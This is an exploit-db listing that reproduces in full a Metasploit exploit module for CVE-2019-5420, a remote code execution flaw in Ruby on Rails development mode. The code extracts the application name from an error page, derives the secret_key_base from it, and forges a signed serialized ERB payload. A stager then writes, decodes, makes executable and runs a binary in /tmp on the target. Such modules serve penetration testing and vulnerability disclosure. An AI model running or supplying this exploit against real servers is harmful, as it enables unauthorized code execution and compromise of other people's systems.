Ruby On Rails – DoubleTap Development Mode secret_key_base Remote Code Execution (Metasploit)

  • 作者: Metasploit
    日期: 2019-05-02
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/46785/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::EXE
    include Msf::Exploit::FileDropper
    include Msf::Auxiliary::Report
    
    def initialize(info={})
    super(update_info(info,
    'Name' => 'Ruby On Rails DoubleTap Development Mode secret_key_base Vulnerability',
    'Description'=> %q{
    This module exploits a vulnerability in Ruby on Rails. In development mode, a Rails
    application would use its name as the secret_key_base, and can be easily extracted by
    visiting an invalid resource for a path. As a result, this allows a remote user to
    create and deliver a signed serialized payload, load it by the application, and gain
    remote code execution.
    },
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'ooooooo_q', # Reported the vuln on hackerone
    'mpgn',# Proof-of-Concept
    'sinn3r' # Metasploit module
    ],
    'References' =>
    [
    [ 'CVE', '2019-5420' ],
    [ 'URL', 'https://hackerone.com/reports/473888' ],
    [ 'URL', 'https://github.com/mpgn/Rails-doubletap-RCE' ],
    [ 'URL', 'https://groups.google.com/forum/#!searchin/rubyonrails-security/CVE-2019-5420/rubyonrails-security/IsQKvDqZdKw/UYgRCJz2CgAJ' ]
    ],
    'Platform' => 'linux',
    'Targets'=>
    [
    [ 'Ruby on Rails 5.2 and prior', { } ]
    ],
    'DefaultOptions' =>
    {
    'RPORT' => 3000
    },
    'Notes'=>
    {
    'AKA' => [ 'doubletap' ],
    'Stability' => [ CRASH_SAFE],
    'SideEffects' => [ IOC_IN_LOGS ]
    },
    'Privileged' => false,
    'DisclosureDate' => 'Mar 13 2019',
    'DefaultTarget'=> 0))
    
    register_options(
    [
    OptString.new('TARGETURI', [true, 'The route for the Rails application', '/']),
    ])
    end
    
    NO_RAILS_ROOT_MSG = 'No Rails.root info'
    
    # These mocked classes are borrowed from Rails 5. I had to do this because Metasploit
    # still uses Rails 4, and we don't really know when we will be able to upgrade it.
    
    class Messages
    class Metadata
    def initialize(message, expires_at = nil, purpose = nil)
    @message, @expires_at, @purpose = message, expires_at, purpose
    end
    
    def as_json(options = {})
    { _rails: { message: @message, exp: @expires_at, pur: @purpose } }
    end
    
    def self.wrap(message, expires_at: nil, expires_in: nil, purpose: nil)
    if expires_at || expires_in || purpose
    ActiveSupport::JSON.encode new(encode(message), pick_expiry(expires_at, expires_in), purpose)
    else
    message
    end
    end
    
    private
    
    def self.pick_expiry(expires_at, expires_in)
    if expires_at
    expires_at.utc.iso8601(3)
    elsif expires_in
    Time.now.utc.advance(seconds: expires_in).iso8601(3)
    end
    end
    
    def self.encode(message)
    Rex::Text::encode_base64(message)
    end
    end
    end
    
    class MessageVerifier
    def initialize(secret, options = {})
    raise ArgumentError, 'Secret should not be nil.' unless secret
    @secret = secret
    @digest = options[:digest] || 'SHA1'
    @serializer = options[:serializer] || Marshal
    end
    
    def generate(value, expires_at: nil, expires_in: nil, purpose: nil)
    data = encode(Messages::Metadata.wrap(@serializer.dump(value), expires_at: expires_at, expires_in: expires_in, purpose: purpose))
    "#{data}--#{generate_digest(data)}"
    end
    
    private
    
    def generate_digest(data)
    require "openssl" unless defined?(OpenSSL)
    OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data)
    end
    
    def encode(message)
    Rex::Text::encode_base64(message)
    end
    end
    
    def check
    check_code = CheckCode::Safe
    app_name = get_application_name
    check_code = CheckCode::Appears unless app_name.blank?
    test_payload = %Q|puts 1|
    rails_payload = generate_rails_payload(app_name, test_payload)
    result = send_serialized_payload(rails_payload)
    check_code = CheckCode::Vulnerable if result
    check_code
    rescue Msf::Exploit::Failed => e
    vprint_error(e.message)
    return check_code if e.message.to_s.include? NO_RAILS_ROOT_MSG
    CheckCode::Unknown
    end
    
    # Returns information about Rails.root if we retrieve an invalid path under rails.
    def get_rails_root_info
    res = send_request_cgi({
    'method' => 'GET',
    'uri'=> normalize_uri(target_uri.path, 'rails', Rex::Text.rand_text_alphanumeric(32)),
    })
    
    fail_with(Failure::Unknown, 'No response from the server') unless res
    html = res.get_html_document
    rails_root_node = html.at('//code[contains(text(), "Rails.root:")]')
    fail_with(Failure::NotVulnerable, NO_RAILS_ROOT_MSG) unless rails_root_node
    root_info_value = rails_root_node.text.scan(/Rails.root: (.+)/).flatten.first
    report_note(host: rhost, type: 'rails.root_info', data: root_info_value, update: :unique_data)
    root_info_value
    end
    
    # Returns the application name based on Rails.root. It seems in development mode, the
    # application name is used as a secret_key_base to encrypt/decrypt data.
    def get_application_name
    root_info = get_rails_root_info
    root_info.split('/').last.capitalize
    end
    
    # Returns the stager code that writes the payload to disk so we can execute it.
    def get_stager_code
    b64_fname = "/tmp/#{Rex::Text.rand_text_alpha(6)}.bin"
    bin_fname = "/tmp/#{Rex::Text.rand_text_alpha(5)}.bin"
    register_file_for_cleanup(b64_fname, bin_fname)
    p = Rex::Text.encode_base64(generate_payload_exe)
    
    c= "File.open('#{b64_fname}', 'wb') { |f| f.write('#{p}') }; "
    c << "%x(base64 --decode #{b64_fname} > #{bin_fname}); "
    c << "%x(chmod +x #{bin_fname}); "
    c << "%x(#{bin_fname})"
    c
    end
    
    # Returns the serialized payload that is embedded with our malicious payload.
    def generate_rails_payload(app_name, ruby_payload)
    secret_key_base = Digest::MD5.hexdigest("#{app_name}::Application")
    keygen = ActiveSupport::CachingKeyGenerator.new(ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000))
    secret = keygen.generate_key('ActiveStorage')
    verifier = MessageVerifier.new(secret)
    erb = ERB.allocate
    erb.instance_variable_set :@src, ruby_payload
    erb.instance_variable_set :@filename, "1"
    erb.instance_variable_set :@lineno, 1
    dump_target = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result)
    verifier.generate(dump_target, purpose: :blob_key)
    end
    
    # Sending the serialized payload
    # If the payload fails, the server should return 404. If successful, then 200.
    def send_serialized_payload(rails_payload)
    res = send_request_cgi({
    'method'=> 'GET',
    'uri' => "/rails/active_storage/disk/#{rails_payload}/test",
    })
    
    if res && res.code != 200
    print_error("It doesn't look like the exploit worked. Server returned: #{res.code}.")
    print_error('The expected response should be HTTP 200.')
    
    # This indicates the server did not accept the payload
    return false
    end
    
    # This is used to indicate the server accepted the payload
    true
    end
    
    def exploit
    print_status("Attempting to retrieve the application name...")
    app_name = get_application_name
    print_status("The application name is: #{app_name}")
    
    stager = get_stager_code
    print_status("Stager ready: #{stager.length} bytes")
    
    rails_payload = generate_rails_payload(app_name, stager)
    print_status("Sending serialized payload to target (#{rails_payload.length} bytes)")
    send_serialized_payload(rails_payload)
    end
    end